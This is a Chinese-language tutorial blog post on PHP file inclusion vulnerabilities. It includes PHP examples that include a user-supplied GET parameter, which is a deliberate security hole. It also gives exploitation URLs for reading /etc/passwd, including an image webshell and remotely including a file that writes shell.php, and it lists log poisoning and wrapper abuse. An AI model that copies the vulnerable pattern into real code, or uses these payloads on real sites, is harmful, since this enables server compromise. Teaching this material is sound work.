Web安全-文件包含漏洞

一.文件包含

1.概念:开发人员把可重复使用的函数写入到单个文件中,在使用该函数时直接调用此函数,无需再次填写函数,这一过程被称为文件包含。

2.原理:开发人员为了提高代码的灵活性,通常将包含的文件设置为变量,用来进行动态调用,正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

3.函数:(4个:include(),incldude_once(),require(),require_once())

            a.include():当代码执行到include()函数时,才会包含文件,如果找不到被包含文件时会产                   生警告(E_WARNING),但不会影响后面代码的执行。

<?php
if (isset($_GET['page'])){
    include $_GET['page'];
    echo "<hl style='color:red">Text</hl>";
    include $_GET['page'];
}
else{
    print "sorry";
}
?>

执行结果输入:text.php

                         Text 

                         text.php

            b.include_once():功能和include()相同,区别在于重复调用同一个文件时,只调用一次,不                 会再次调用。

<?php
if (isset($_GET['page'])){
    include_once $_GET['page'];
    echo "<hl style='color:red">Text</hl>";
    include_once $_GET['page'];
}
else{
    print "sorry";
}
?>

            c.require():代码一执行就会包含文件,如果找不到被包含文件时会产生错误                                      (E_COMPILE_ERROR),并且终止脚本执行

            d.require_once():功能与require()相同,区别在于重复调用同一个文件时,只调用一次,不                 会再次调用。

4.分类:本地文件包含,远程文件包含;

            本地文件包含:Local File Include:网站服务器本身存在恶意文件;

            远程文件包含:Remote File Include:调用其他网站的恶意文件(条件:allow_url_fopen和              allow_url_include要为On);

5.利用:

          a.读取敏感文件:积攒一些敏感文件的位置;

http://127.0.0.1/include/include.php?page=/etc/passwd

          b.图片马;

http://127.0.0.1/include/include.php?page=../ma.jpg

         c.远程包含shell;

http://127.0.0.1/include/include.php?page=http://127.0.0.1/text.txt

          text.txt内容:

<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>");?>

          d.php封装协议(data://,zip://,php://input等);

          c.包含apache日志文件:当发现存在文件包含漏洞,但又没有webshell文件被包含,也没有              上传点时,可以包含apache日志文件(访问不存在的资源时,apache日志文件同样会记                录);使用BrupSuit进行抓包更改;

          e.截断包含;

实验环境:phpMyAdmin 文件包含漏洞分析

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值